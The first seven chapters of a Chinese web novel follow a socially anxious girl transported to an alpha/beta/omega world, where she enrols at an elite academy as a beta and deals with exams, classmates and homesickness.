《Beta平静的校园生活》
1. 第 1 章
我,一个平平无奇的社恐人,唯一不平凡的就是高考结束后一次不慎踩空楼梯,再一睁眼,到了另一个世界。
这是一个奇怪的世界。
“这个世界性别分三种,omega、beta、alpha,贫富差距巨大,特权等级现象显著。”
脑海中突然出现的自称“05号系统”机械音为我简单地介绍。
“由于时空管理的疏忽,您误入了这个世界,在时空隧道修复前,我会为您提供必要的生活需求以及正常公民身份,为防止被世界意志发现您是外来者,您需要就读丝珮叶学院。”
嗯……等等?
听到前面还保持平静的我,一下绷不住了。
“为什么——”
“丝珮叶学院作为天之骄子的荟萃之地,产生的能量对于您的身份有极好的掩饰效果。”
我哑然,心如死灰且绝望地闭上了眼,在地上躺的十分安详。
拿到高中毕业证就以为万事大吉的我,从未想过此后还要踏入学校的大门。
是的,没错,我讨厌学校,小学学校、初中学校、高中学校我都——讨厌。
但这并不意味着我厌学,事实上,我从小到大的成绩都名列前茅,是光荣榜上的常客,我讨厌的只不过是那种群聚的环境,像是被迫着与其他生物关进牢笼,被迫被无数的目光打量着挑剔仔细地打量着,一切的一切都无处遁形。
“小姐,善意的提醒您,如果您还在这停留五分钟的话,治安巡逻组织可能会把你送进警局。”
我听着05毫无起伏的声音,心口处闷疼了一下,慢吞吞地站起。
这里冷的厉害,天刚蒙蒙亮,我的头发沾了些水雾,由于最初便是坐在地上的姿势,黑色裤子、灰白卫衣的颜色也被水浸深了些。
黑裤是九分裤,在原来的世界夏季或许热了些,但在此刻,裸露出的脚踝惹上了细密冰凉的水珠,配上这过于苍白的肤色,像是块融冰。
手指冷得发颤着抹去脚踝上的水珠。
观察了下四周,我搂紧了胳膊,一步步依照着05的指示进到了它给我准备的房子。
不幸中的万幸,这一路上都没碰到什么人。
更没有人看见我这幅狼狈不堪的样子。
等我洗完澡后,05才又出声。
“您在这个世界上的身份是beta,父母离异,只会每个月按时打生活费,下个月一号,是丝珮叶的入学考,一切程序已以合法合理的方式完成,你只需再完成入学考后按部就班的上学就行。”
手指穿过浓稠微卷的黑发,我坏脾气的没理。
面前的半身镜中的女孩睫羽微敛,嘴角平直,不丑,但也不出挑,唯独那苍白得出奇的肤色显示出几分与常人的不同。
05并未在乎我的无视,也似乎未发现我的坏情绪,接着说:“为表歉意,接下来我会陪伴您一段时间,除您的需要外,我不会出现。”
我犹豫地“嗯”了一声。
好不容易把卷曲细软的长发打理好后,我打开05给我准备的手机,查看05提供给我的这个世界的基本信息。
“omega,有发情期,信息素可诱导alpha,无论男女都可孕。
beta,无信息素,男女均可坐上位也可下位,基数最大。
alpha,有易感期,信息素可使omega进入假性发情,一般都为上位。
我把这个世界的基本信息反复看了好几遍,记了下来。
性别比例失衡,阶级矛盾尖锐,这个世界联邦在我脑海中如同摇摇欲坠的高楼,只等着那最后的一滴鲜血的滴落,便会轰然倒塌。
手指滑动飞快,查看着这几日的报道。
首先是政治报道“联邦政府为解决黑户问题已成立相关法案!”
标红加粗的字体。
接下来是经济报道。
嗯……
我皱着眉头顿了几分钟,全是专业术语,看不懂。
跳过。
最后娱乐板块。
“天才创作者”、“海底歌妖”、“绝美舞台”……几张漂亮的图片滑过,首页新闻里充斥着娱乐报道,政治、商业、科技相关的寥寥无几。
这个世界的娱乐倒是格外发达,我迷迷糊糊的睡着时想到。
*
再一醒来,已是下午一点。
我站在十五楼,俯视窗外的绿荫草地,喷泉雕塑。
我面无表情,纹丝不动的站了半小时。
压抑在心底,不可置信的荒唐感才缓缓出现。
我这时才接受我踩空楼梯后穿越到异世界,一个月后还要继续上学的苦逼现实。
腿站得发酸,腹中传出一阵饥饿感,我边坐下边想骂脏话。
冰箱里没有食物,就算是有,作为一个四肢不勤、五谷不分的女高中牲,我也不会想要毒死自己的。
于是严苛、仔细、认真地戴好口罩和鸭舌帽后,我决定出门觅食。
走出装修精美典雅的大门口,站在玻璃窗户后的人向我问好。
我发出几不可闻了“嗯”声。
迎面撞来到景象让我拉低了下帽檐。
人有点多。
街旁懒懒地靠在看上去就很贵的跑车旁与朋友说笑的少爷小姐们,笑容张扬,姿态肆意。
我呼吸一滞,口罩下的嘴唇紧抿,迈大步伐从他们走过。
我强装镇定。
我惧怕潮人。
在路过几个带着镶着金链的纹身男、十几个高大严肃带着透明护目镜的西装男、一群青春洋溢的cosplay爱好者后,我忍不住发出质问,
“05,我住的到底是什么地方啊!”
我的帽檐已经拉的够低了,可仍是能感觉出打量或好奇的视线。
穿着宽松纯白T恤衫、黑色运动裤的人就不能在这条街上生存吗?<
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“小姐,综合考虑到您以后的上学问题与日后居住的安全因素,由此计算出这是最适合您的居住地,里面大多都是中上层阶级。”
「哦,那我……靠!」
看着差点擦过鼻尖的无人飞机,我的心脏都差点停止了跳动。
停住脚步,我没忍住刺了句,「这也叫安全?」
饿着肚子,压着闷气,走进一家看起来卫生干净的店,选择了一个最不引人注目的角落,我拉下口罩,随意挑起一根白面,试试味道,鸭舌帽遮住我的大半张脸,像是被焊在我头上似的。
嗯,还可以。
颇为挑剔的点评了一句,我正准备吃第二口。
走过来两个男人。
一个黑裤皮鞋,一个白鞋露脚踝。
这两人坐在了我隔壁桌。
他们没看见我。
我不慌不忙地舀起一点乳白色的汤汁,鲜而不腻,惬意得我都没怎么注意周围的动静
直到那一声嘶哑的吼声“……那我呢?我就活该被糟践吗?”
瓷碗荡着,汤汁撒过一道弧度,“啪啦”一声地面上碎开了花。
*
……这是我平生第一次进局子。
作为目击者,我旁观了白鞋男人用花瓶砸向西装男的头,西装男掀了桌子,一脚踢向白鞋男,白鞋男纵身一跃反把西装男压制在身下的名场面。
城门失火,殃及池鱼。
我穿着溅了褐色污渍的白衣,拿着警察姐姐倒的热水。
坐在钢制椅上,我的心情平静无比……才怪。
一天时间不到,我就已经经历了过去几年都未有的事情,情绪起伏跌宕。
或许没等到回去,我就崩溃了吧。
脑袋放空了一会儿,警察终于开始叫我。
“姓名?”
“云卿。”
“性别?”
“……beta。”
对面警察笔尖顿了一下,抬起头,双眸紧紧盯着我,“麻烦你把口罩和帽子取下来一下。”
他语气中带着犹疑。
我手指蜷缩了下,慢吞吞地勾下口罩细带,取下鸭舌帽。
一直垂落的眼睫不情愿地抬起,看向警察。
警察浓眉挺鼻,俊朗英气。
我强撑着和警察对视,警察瞳色墨黑,眼尾狭长,隔着警服都能隐约看出肌肉紧实的线条,他即便安稳的坐在那儿也像是一头蓄势待发的猛兽。
我心中叫苦,努力保持镇定自若。
“怎么了?”
“没事。”警官看了一眼手中的纸质文件,提笔写下几个字。
声音平稳的回答完警官的问题,我拖着疲惫的身体走出审讯室,重新把口罩帽子戴好。
刚来这个世界的第二天,我便感觉到了身体上疲倦与精神上的严重摧残。
这里楼道很亮,我走了不过十几步,便看到了四个监控器。
2. 第 2 章
在等待准许回去的通知过程中,闲来无事的我搜寻着这个世界的考试题目。
从小学至高中,简单浏览后,我惊讶地发现这里与先世界相差无几。
我放心了。
虽然不爱上学,但习惯了当“佼佼者”的我绝不愿成为这儿的“文盲”。
“云卿小姐。”柔和的女声从前方传来,一个警察递过来一个机器。
“作为目击证人要输入指纹,您的大拇指按着那个凹槽就可以了。”
她正是先前给我倒热水的警察。
我依旧不作声,听从她的话按下去。
“萧队呢?”一个穿黑色制服的男人走进来,手中拿着一个信封。
“他还在审讯室呢,有个alpha和beta有感情纠纷,那个alpha居然连beta都没打过,真丢alpha的脸——这是怎么了?”
“啧,最近州城那儿不是冒出了个什么凶杀案吗?没人搞定,上面又要调萧队回去一一”
男人还没说完,就被一阵哭泣打断。
“呜呜——警察叔叔,他还是人吗?呜呜,我陪了他七年了现在一万块就想打发我呜呜呜去跟他家里找到omega在一起哇呜呜呜凭什么啊就因为我是beta吗呜呜呜呜呜——”
喜欢听八卦看热闹是人的本性,连社恐也不例外,仗着有鸭舌帽黑口罩做保障的我,眼皮悄咪咪地抬起来,耳朵也跟着竖起来。
又是几声脚步,伴随着怒斥,皮鞋男人在自我辩解。
“不是这样的,情况根本不是这样,你们别听他的一面之词——”
“不是这样,那是哪样?你说啊。”白鞋男人的情绪一下就激动起来,几乎快要扑过去,还好身旁警察拉住。
“诶,怎么又这样了,不是刚才调节好吗。”
“分开调节看来没什么效果。”
白鞋男人是beta,皮鞋男人是alpha,听起来像是这个alpha为了娶omega而抛弃了beta。
啧,这真是。
beta在社会上受到的隐形歧视,在我来到这个世界的第二天就在我眼前显露。
*
“叮叮叮——请监考老师分发试卷。”
今日是丝珮叶学院入学考试的日子,入学考试的成绩直接决定班级的好坏,虽会有特例出现,但总体来说,在这个充满歧视特权的世界,这样的以实力来分班的规则是比较公平的。
每一个教室分别是俩个监考老师,走廊上还有巡逻人员,四个摄像头在教室上方四个角落不停工作运转,监控室内还有十几个老师目不转睛地监看着。
二楼,右边的第一个教室里,监考老师依次发卷。
他在一个空位旁停了几秒,眉头皱起,按照规定放一张试卷继续向后发去。
“叩叩。”
轻微的叩门声响起。
“老师,抱歉。”
一位少女站在门边,微喘着气,海藻般的卷曲黑发随意披在身后,脸颊上似乎因剧烈的奔跑晕上了些红。
坐在讲台上年轻的主监考眼睛晃了下,稳神看表,距离开考还剩俩分钟,他拿起一个机器上前去为她扫描。
少女穿着十分宽大的深蓝色牛仔外套,更显瘦弱,她左手抓着几只笔,右手勾着一个黑色口罩。
从上到下,从前到后。
她很快被放行,环视一圈,走向唯一空着的座位。
这个omega似乎身体不太好,坐了几分钟了,仍在细细地喘着。
主监考看了少女的位置一眼,视线在表格上滑动,停在某个位置,眼神惊讶。
上面写着——
「云卿,beta……」
这张脸是个beta?!
——
如果时间可以倒转,我一定会,一定会在考试这天前踩好点,找准位置。
那时高考政策还未改革,体育锻炼不占高考分,于是高中时期在重点高中的三年,我能站着绝不跑,能坐着绝不站着,跑操能推则推,体育课全贡献给了数学,以至于现在不过一条街道的路程,跑起来,我都感觉我要上天。
我努力平复呼吸,小幅度的弯曲着因快跑而麻痹的手臂,尽量忽视来自四面八方好奇的打量目光。
做着淡定神色,内心羞愤欲死。
因走错街道而至快要迟到,带着口罩,抖着手询问路人。
急急地快跑,喘不过气,被迫摘下口罩,好不容易赶到,众目睽睽之下扫描搜身。
刚刚下来的时候,慌得走路都不稳,好像还碰到了别人。
呜——
我双眼无神地垂落,手指不自主地发颤。
别看我了别看我了……
“叮叮——考试正式开始。”
此时的机械音在我听来犹如天籁。
这一刻,我爱考试。
.
考试共三门,没有休息时间,一次性考完,有些题目刁钻,但对于经历了十二年的应试教育且学习记忆了大半个月这个世界的知识的我来说,不算太难。
唯一让我沉默的就是作文。
它居然引经据典,引用了这个世界的一本古书《应和言》,以这本书中的内容与观点详解五年前的“17博列事件”。
大半个月的了解背记没能让我知道得这么具体这么深入。
这本书我没看过,这个事件我没听过。
完全动不了笔。
讲真,在我求学十几年中,作文还没空着过。一般,我作文这块都是到了被表彰的程度。
看来,这一次,要打破惯例了。
我抿唇,死死盯着作文题目。
——
「丝珮叶学院内部论坛」
【考试的时候看见了一个很漂亮的omega,有人知道是哪家的吗?】
1L:
月月青青:
如题,寻人贴。
楼主是个alpha,还没谈过恋爱。
开学考那天,是我和她的初见,那个omega是在发卷铃响后才急匆匆跑来的。
黑发卷而长,肤色白的要命,嘴唇浅粉,穿着一件蓝色的牛仔外套。
她跑进来的时候,我因脚步声抬头,恰巧与她对视,就那一眼,我感觉我是一见钟情了,心脏不受控制地砰砰跳动。
我和她真的有缘分,她正好坐在我的斜后方,走过来的时候,我能闻到浅淡的带着雨水潮湿的青草香,她好像还对我笑了一下,衣袖甚至还碰到了我的手臂。
靠,她绝逼对我也有好感。
我本来准备一考完试就问她通讯的,
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可那个omega一考完试就溜了,等我追出门,连人影都没,想着再回教室看看姓名表,结果姓名表不知道被哪个龟儿子扯了下来,只留下了点白色的边缘。
以至于老、楼主连自己第一次心动对象的姓名都不知道。
2L
咸蛋酱:
u1s1,白肤粉唇,这不是omega的统一特征吗?我见过的omega里十个有九个都这样。
3L
云卷卷:
同上。
4L
落叶萧萧:
同上。
……
24L
听雨:
同上。
25L
月月青青:
啊不是啊,那个omega皮肤白的像一捧新雪,是很苍白的那种,像是很久没见阳光一样,白的有点病态。
然后她给我的感觉真的不一样,感觉眼神是冷的,又不像叶曦那种高岭之花拒人三尺坚冰一样冷,是那种夏天潮湿微凉的雨水,是初春的暖阳阳光之下几乎消融的白雪。
头发长度快要到腰,发色很黑,微卷,不像是烫的,很小很细的波浪。
26L
欲落:不是,兄弟,你除了皮肤和头发还能描述点别的吗?描述具体点啊,别意识流,就这谁能捞啊。
27L
曦阳照我:你找人就找人,拉踩我曦是怎么回事?
28L
不到年级前三十不改名:你是和我一个考场的吧,二楼右一,我那个考场也有一个人发卷铃响了才来,女的,描述有点像,不过我忙着看题,没仔细看人。emmmm你确定她是omega吗?手上似乎没带抑制手环。
29L
XIX:上面的,我们那个考场一共三十人,10个alpha、7个omega、13个beta。好巧不巧,那七个omega我都能叫的出名,如果真的是我们考场,那她绝对不是个omega。
30L
爷不留名:乐了,楼主连自己第一次心动对象的性别都能认错?!哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈。
31L
是心动不是风动:乐+1。
32L
山竹没有壳:乐+2。
……
69L
YU:乐+20023。
————————此楼楼主已封,不可回复————————————————————————
与此同时
【隔壁贴被删除了,那楼主是不是心态崩了(新)】
1L
爷不留名:哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈哈。(狗头)
2L
山竹没有壳:是我我心态也崩哈哈哈哈哈哈哈哈哈哈哈哈哈。
3L
云卷卷:难怪我就一会没看手机,那贴就找不到了哈哈哈哈哈哈哈哈哈哈哈。
……
8L
发发发:发生什么事儿?来个好心人跟孩子说说。
……
市中心的别墅区,富丽堂皇的房间里,一个少年眼睛泛红,骨节分明的手指飞快地在电脑键盘上敲击着。
很快,这贴沉了下去。
3. 第 3 章
此刻,我站在全身镜前凝眉思索,神情严肃。
镜中的自己穿着丝珮叶学院的校服,校服做工优良,精致而典雅。
可就是有点……
校服百褶裙在膝盖上方一个拳头的距离,上身是白色的衬衫紧密贴合,领结暗红色。
我不怎么习惯穿裙子。
尤其是这种。
「小姐,容我提醒一下,距离您迟到还剩半小时。」05的机械音突如其来。
“哦。”
我垂着眼睫,默默把校服外套穿上,手指在口罩和帽子前停顿了一下,没戴上,而是塞进书包里,以备不时之需。
在学校,如果一直戴口罩和帽子的话,那才是异类。
05安排的房子离学校不过一条街的距离,我昨日走错路想起来实在是滑稽可笑。
我迎着风面无表情地往前走。
不得不说,这贵族学院的效率实在是高,昨天上午考完,下午就出成绩分完班级。
我,从小到大没出过年级前三的人,这次年级三十名。
奇耻大辱。
一想起,我的手就不自觉握紧。
“……这次作文我真的无语,。”
“这年头连腐尸都来出题了。”
“那事件是能用《应和言》解释的出来的吗?”
“诶,你们写满一千了吗?我最多写了八百,再写我的良心都要向我抗议了。”
快走到学校的时候,几个穿着相同校服的人走在我前面聊着天。
《应和言》是这个世界的一本古书,很古很古的一本书,昨天我在电脑上浏览了一下,大致就是什么劝诫O不要出去抛头露面啊,一切以A为主啊的陈词滥调。
说实话有种《女诫》即视感。
而那个“17博列事件”,就是五年前一起爆炸事件,凶手是个omega,在他17岁时炸毁了一栋楼,自首时说是想在生日时看烟花为自己庆生。
据说当时是闹得挺大的,几千条人命一下就没了。但奇怪的是,那个omega自首后没几天就从监狱里消失了。
我心里不断应和着前面的人对这次考试作文的批判,面上淡定沉着。
直到一声“……这次有人好像作文空着的。”
垂死病中惊坐起。
我迅速抬眼。
“真的啊?”
“不会吧,开学分班考还有人空作文。”
“这人什么来头啊。”
不是吧,这个世界连有人空题都会引起轩然大波吗?
我的心颤了颤。
生怕会因空作文而出名。
我慌得盯着说话的人,目不转睛,专心致志。
他们走在我前面,背对着我。社恐有恃无恐。
“还不知道是……”
说话的人突然转头。
我与他对视了。
有点尴尬。
在我不知道是低头视线下移还是状似漫不经心地偏头看风景的时候,他率先移开视线,好像比我还紧张的样子。
不知道是不是我的错觉,感觉他们那群人声音小了很多。
阿是不是被当成偷听者了呀。
我:……
还是赶紧去班级要紧。
校裙荡荡悠悠,带着起风的清凉。
最近一次穿裙子的我还是拍小学毕业照的时候,老实说,我有点怕走光。
人好多,好像还听见了机车的声音。
我余光瞥了一眼,立马加快步伐。
好、好潮。
.
这个学校里有馥郁的花,翠绿的草,还有葱郁的很像电视剧里男女偷偷溜进去谈恋爱的小树林。
学校大的离谱,要不是每个分叉口都有人指引,我铁定得迷路。
我走进班级,我环视一圈,我没发现有座位表,我直直看向最后一排。
按照个人喜好,我尤为喜爱那些不引人注目、偏僻的位置。在生活中,我也习惯并且乐意做一个小透明、背景板。
但现在我犹豫了。
按照我宅在家里看电视剧刷视频看小说的经验,在这样的学校,似乎都有某种不成文的规定,最后一排一般是那种不怎么
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服管教、有些叛逆、不爱学习的孩子坐的,或者是那种属于某个特定人物的绝对领域。
我略微思考了一下做错位子的后果,扫了一眼后排,只坐了一个人,还是个女孩。
在前门站了几秒的我,打定主意,向那个女孩直直走去,然后……拐了个弯,坐在了隔她两个位置的,最后一排最后一个。
还是个单人座呢嘿嘿。
至于搭讪,开什么玩笑,除非有人拿枪指着,我这辈子都不会和陌生人主动搭话的。
当然,快迟到了除外。
当我正快乐的享受着单人单座、没什么人注意的美好时,同学也到齐了。
这个班级人还挺少,看起来只有三十来人。
我这样想着,突然发现起一件事。
按成绩排名分班的话,那我不就是班级倒数几名?!
我僵住了。从高兴到低落也不过短短一瞬。
心里暗暗决定以后每个休息日拿来学习。
同学们之间似乎很多都互相认识。
我在偷偷观察了几分钟后肯定地下了结论。
这真是……太好了。
他们有自己的交际圈,没有急于认识新朋友的需求,同样我就不需要去回应那些友好的却令社恐无措的——
“你好。”
诶。
声音来自我前桌,一个男孩。
原谅我现在没有辨别这个世界性别的能力。
“你好。”
我看着他,他看着我。
我有点想咽口水了,不是源于样貌,是因为社恐紧张。
不知道是听谁说的,人如果害怕眼神接触却不想显得没礼貌的话,可以盯着说话者的下庭。
于是我的视线慢慢移动。
他说:“我叫姜念屿。”
“我是云卿。”
我专心致志地盯着他的下庭说话,心里祈祷那个方法正确且合理。
可能是气氛有点尬吧,前桌没说几句就转过去了。
不过,他耳朵怎么有点红?
难不成,他也是个社恐?
4. 第 4 章
暖阳之下,和煦的风缓缓拂过,茂密的树簌簌作响,这座校园漂亮得像是梦幻而华丽的城堡,绚丽的光晕在华美的建筑上跳跃出梦一般的色彩。
但此刻,我却没有多余的心情去欣赏这景象。
热意烧到皮肤,额头的汗珠滴落,我努力调整着节奏,好让自己不太狼狈。
「小姐,您可以请假,这里的老师对学生很友好。」
刚跑完三圈的我站立到操场上,嗓子又干又疼,眼睛里冒出一点水星。
我听到这话,疲累地抬起湿湿的眼睫,默默扫了一眼正坐在阴凉处请假的零星几人,手上都佩戴着抑制手环。
这个班级10个omega、20个alpha、5个beta。
现在请假的只有两人,两个omega,也就是说还有8个omega仍在坚持着。
“还是算了吧。”我婉拒。
虽然我真的很想坐在树荫下乘凉,但我现在的性别可是个beta啊。
丝珮叶学院的艺体课是我之前的学校的几倍多,体育老师负责到每节课的训练任务是什么,每个任务的时长都做了详细的计划。
我常常想念从前的体育课,上课集一次合,下课前集一次合,其余时间自由活动的美好时光。
我不知道在太阳底下站了多久,只当感觉到脸颊边的碎发湿透滴水的时候,终于解散了。
我迈着沉重的步伐,准备直接回教室瘫坐在位子上,缓缓今日的心灵冲击,今天的运动量比我高中三年的运动量还大。
“云卿。”
声音很轻,咬字紧有种不易察觉的颤意。
我的前桌,姜念屿,带着抑制手环的omega。
微卷柔软的栗发,漂亮的琥珀色眼瞳,他给我的感觉很像是一只柔软善良、没有攻击力的羔羊。
他递来一瓶冒着水汽、新鲜诱人青梅味果汁。
我停顿了片刻。
“谢谢,但不用了。”
明明嗓子干疼,连声音都略微带了些沙哑,身体渴望着急需水分和凉爽。
我却毫不犹豫向前走去。
「小姐,我能冒昧问一句为什么吗?」
“我在这个世界应该停留不了多长时间,他看上去想和我交朋友,而我不需要也不想发展别的社交关系。一旦产生类似不舍的情感,这些只会成为我回家的累赘。”
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所以,干脆利落地斩断一切发展关系产生联系的可能。
“况且,我现在跟他根本就不熟。”
这才是重点。
05沉默了。
我并不在意它的沉默,经过一个多月的相处,我意识到05对人并不太了解,它会通过数据来分析,但思维仍是机械的。
“101!”
“102!”
“牛逼!”
“快点啊……”
啧,他们真有活力啊。
经历了长达一小时的高强度体育课程,这个班上的人还在比引体向上。
我叹为观止。
不由得停住,朝那边的人看了好几眼。
比拼引体向上的有男有女,原世界为男女性别的我下意识看向中间唯一的女孩。
汗湿的衬衫勾勒出明显的肌肉线条,细窄的腰线,中间是明显又漂亮的马甲线。
嘴角微扬,眉梢轻挑,神色自若回应着旁人的挑衅。
在原世界长大的我对待这个世界的不论什么性别的女性,都有着高于男性的初始好感。
可能这就是生长世界环境不同带来的弊端吧。
5. 第 5 章
经过几周的观察,我发现我们班的风云人物还挺多的。
上次那个做引体向上的女alpha、前桌omega、竞选出来的班长、开机车来上学的潮男alpha……
都挺受欢迎。
而我似乎与几乎全是天之骄子的A班格格不入。
我默默看了眼课表,下节音乐鉴赏课,在阶梯教室里上课。
心头掠过一丝惊慌。
音乐老师年轻靓丽,新点子层出不穷。
上次音乐课她随意的点了几个人的学号上台表演才艺,上上次音乐课学生轮流发表对一首钢琴曲的看法……
我拿起课本向阶梯教室走去,如负千斤重石。
评析音乐作品不要紧,虽然听不出来什么,但我可以乱编。
但若是老师兴致一来,抽中了表演……
我的呼吸一滞。
要知道,我纯纯文化生,从小到大没进过艺术培训班,就只在小学认真上过几节音乐课,在原来世界就是那种除了学习什么都不会的小镇做题家。
抱着视死如归的心情进入阶梯教室,直步最角落最隐蔽的座位,我埋头装死,面前是一本随便翻开的课本。
“你好,这里有人吗?”
我下意识抬眼瞥了一眼,说了声“没有”,默默低头,目光回到书上。
这是那次体育课上跟别人比引体向上的女alpha。
“漾姐,您今儿怎么坐这……”
前面有人似乎是我身边这位alpha的朋友,我盯着书,隐约感觉他的目光在我身上转了一下,声音才弱了下去。
我的手不自觉用了些力,捏着的书页都起了些褶皱。
那个人是不是看了我一眼?
他好像还嫌弃我。
可恶。
我鼓起勇气抬眼,准备把这位嫌弃我的人的脸记住,以后就……就离他远点。
却不想,音乐老师已经走进教室,几乎全部同学都已落座,正坐面向讲台。
只有一个,唯一一个转头的,那是一个银发的alpha,耳朵上几个看上去就很贵的耳钉,身上挂着一些银饰,露出的手臂隐约可见纹身。
是、那、位、机、车、潮、男。
他看我了。
我强做平静,恍若未觉,看向老师。
实则已在课本上不留神地留下几道指印。
今日音乐老师穿了一件长裙,简约大方,长发及腰,一举一动优雅动人。
她正在电脑上调试一个程序。
调试完后,她笑着说:“今天表演才艺,我们玩点新鲜的,我先在电脑上随机抽取一个学生表演,表演完后,这个学生可以选择下一个的表演是她左的同学还是右边的同学,接下来再依次表演。
我眼巴巴地盯着不停转动着学号的电脑。
“A3103。”
31是届数,A是班级。
我们班3号?
我模糊记得3号是……
我余光瞥向身旁。
那个女alpha站起来了。
!!!!!!!!!!
“老师,我弹钢琴吧。”
语气轻松带着笑意,游刃有余。
钢琴声是很悦耳,女alpha样貌绝佳,姿态优美。
可我实在没什么心情欣赏,等到鼓掌喝彩声响起
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,我才茫然发觉她已经回到座位上。
美丽优雅的音乐老师笑着问她下一个是左边的同学还是右边的。
我被吓懵了,心脏漏了一拍,倒吸一口冷气,连忙抬头看她。
这是我来到这个世界后,第一次在别人回看的情况下,如此大胆地看着别人,算是走出了自己的舒适区。
别选我,求你。
求求你。
她偏头看我,我微仰视着她。
我感觉全班人都集中在她身上了,甚至分了些目光给我。
女alpha的样貌确实优异,那双丹凤眼清冷又漂亮,不言语亦自带三分笑。
求你了,姐姐,别选我。
我直勾勾地盯着她。
希望她能懂我。
好像是几秒,又好像不止几秒。
“就他吧。”
她示意右边的朋友。
我松了一口气,感激地看向她,却捕捉到她唇微弯,轻泄出一声笑。
她是不是在笑话我?
我装作没看见,小声说了句“谢谢”。
不管怎样,这个女alpha是一个好人。
.
贵族学院真不是我这种普通人能呆的地方。
我看着被命运选中上台表演的学生个个不露怯,自信又大方。
心里如沉了一块巨石,心情莫名沉重起来。
我忽然很想回到原来的世界。
很想很想。
想再一次见到那个世界的亲人、朋友。
.
「系统,我还有多久才能回去?」
「时空隧道正在修复中,应该……不久了。」
6. 第 6 章
我成功地在异世界活过了三个月。
虽然,这其中发生了很多令社恐不想回忆的事情。但总体来说,这不过是我平静的异世界生活的一角。
我坚信,我异世界生活会一直平静下去,虽然这其中会有小小波澜。
我每天都会给自己做这样的心理暗示。
今天是我值日。
因此放学铃打响后,我没有像往常一样早已收拾好东西疾步离开教室。
我本打算等同学们走光再搞值日,可同学们聊天的聊天,学习的学习,大多都不动如山,竟丝毫不想脱开这枷锁,跳出这牢笼。
我大受震撼。
开始怀疑是我上课时听漏了什么,比如老师要在放学后来讲点事,或是班级要举行什么活动之类的。
甚至开始反思,是放学时自己每次步伐都太迅速了吗?所以才未发现这贵族学院的学生癖好与自己之前学校学生的不一样。
我在座位上沉思良久。
最后决定敌不动我动,尽快搞完值日,尽快回家。
没办法,思家心切。
说是学生值日,其实也没太多活,只不过就是擦擦黑板、扫扫垃圾、摆正桌椅。
而且今日与我值日的还有一人——机车潮男A——邢珏。
作为一只独立的社恐,我并不打算麻烦其他人这么简单的打扫工作。
邢珏他愿意做最好,不愿意我也不打扰,
当然,我也不敢打扰一位染银毛,有纹身,看上去很凶很刺的家伙。
于是,我默默地开始行动了。
安静地洗抹布、安静地擦黑板。
确保不发出一点异样的声音,致力于做好小透明。
在A班呆了几月,我发现同学们大多很热心,和网上看到的贵族学院的一些现象完全不一样。
譬如现在。
有同学主动要帮助我擦掉对我来说有些高的粉笔印记。
譬如刚才。
我看见几个同学体贴地把自己桌子摆正。
还有。
那个邢珏竟也做值日工作,还不声不响地快速做完一大半。
还是不能听网络上一面之词。
我整理好书包,正准备离开教室,发现窗外雨水滴滴。
一愣神的功夫,面前就递来好几把雨伞,来自热心的同学们。
我一一婉拒。
下雨却没带伞,这不是天注定的吗?以我对自己的了解,这样必定感冒,或许发烧,请几天假呆在家里修养几天,老师允许,这样系统都不能说我什么。
嘿嘿。
我带着对明日的憧憬,愉悦地漫步在雨下。
还有闲情进一家花店,买下一束向日葵。
橙黄的明亮色彩,让人眼见就心生欢喜,在细雨的拍打下,微微晃动,仍是满怀活力、昂扬向上的姿态。
.
“咳咳,老师……嗯……好,谢谢老师……”
我无力地躺在床上跟班主任请假。
「小姐,您——」
我头一次听出系统机械音中的无语。
但我才不管,放下手机,闭眼入眠。
不知过了多久。
黑暗中亮光闪烁,手机消息一下一下传来。
【前桌O—姜念屿:感冒严重吗?】
【前桌O—姜念屿:什么时候能来学校呀?】
【前桌O—姜念屿:好想你。】(已撤回)
【前桌O—姜念屿:一定要好好休息哦~小组活动作业不用担心。】
【好人女A—宿斯漾:一周后是研学活动,两人一组,我们一起行吗?你还好吗?如果方便的话,我放学后顺便过去看看你。】
【好人女A—宿斯漾:猫咪探头.jpg】
【银毛潮男A—邢珏(看上去凶巴巴,但人却意外的好心):病的严重吗?】
【银毛潮男A—邢珏(看上去凶巴巴,但人却意外的好心):你家住哪儿?我过去看看。】(已撤回)
【
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银毛潮男A—邢珏(看上去凶巴巴,但人却意外的好心):按时吃药,多喝热水。】
……
头痛欲裂,胸口闷得喘不过气来。
我艰难撑手坐起,一觉睡醒,喉咙疼得不行,眼前模糊不清,意识恍惚。
只淋了一点雨,就变成这样了吗?
不对劲儿,我的身体还没差到那种地步。
「小姐,我之前就已经和您说过了,您是外来者,世界意识排斥您的磁场,而丝珮叶学院的孩子大多能量强,接触多了,能一定程度上缓解世界意识自发产生的排异反应。」
我疼得喘气,心脏砰砰似乎要跳出体外,来不及多想,摸索手机,随便拨打了一个同学号码。
“喂,你……找我有什么事吗?”
耳旁的声音似乎是缓解疼痛的最佳药物。
我缓了一会,才看清手机号码的备注“邢珏”。
手机上的时间一秒一秒的流过,邢珏那边似乎原本有些吵闹,他换了个安静地方。
双方的寂静最是折磨人心。
眼睁睁地看到通话时间到了一分钟,我动了动嘴唇,仍不知要说些什么。
“出什么事了,需要我帮忙吗?”
经过手机传来的声音略显低沉,但又不失少年清朗。
心跳已完全平复,嗓子的疼痛感显著减弱。
我咽了咽口水,找回自己的声音。
“那个,邢同学。”
“我听说你射箭很厉害,……射箭骑马之类的好像还加学分……所以——”
天呐,我到底在说什么?!
“可以明天教我一下吗?”
快拒绝我啊,这什么乱七八糟的借口,救命。
“当然,如果没有时间的话就算——”
“可以。”
“……那、真是多谢你了。不过,这样太麻烦邢同学了吧。”
我试图挽救。
“不麻烦,从明天开始吧,我最近有很多时间。”
7. 第 7 章
这件事还有转圜的余地吗?
我撑着脸,盯着窗外的风景。
树木葱郁,阳光明媚,鸟儿叫得热烈。
到底怎么办才好?要不直接说清楚吧?可这让我怎么说得出口……
“云卿,你感冒好了吗?这是鲜榨的青梅汁。”
冒着热气,酸中带甜的香。
好像那次姜念屿递过来到也是一杯青梅汁。
我顿了几秒,接下,道了声“谢谢”。
几月时间,我和他已经从不太熟的同学关系转化成了一般熟的同学关系。
若是次次拒绝一位会带着笑意主动和自己打招呼、会主动分享笔记乃至食物的漂亮omega,那在旁人眼中就是这位beta不知好歹了。
姜念屿的笑意较深,开玩笑般催促快喝一口,眼中含着某种看不懂的期待雀跃。
我抿了一口,温热的恰到好处的温度顺着喉咙而下,不明显的酸很快被甜意覆盖,甜而不腻。
“怎么样?”他急急地询问,眼神像是要定在我脸上,不放过一丝一毫的情绪,身体也不自觉地前倾。
“很好喝。”我身子不自觉后仰,下了一个客观的评价。
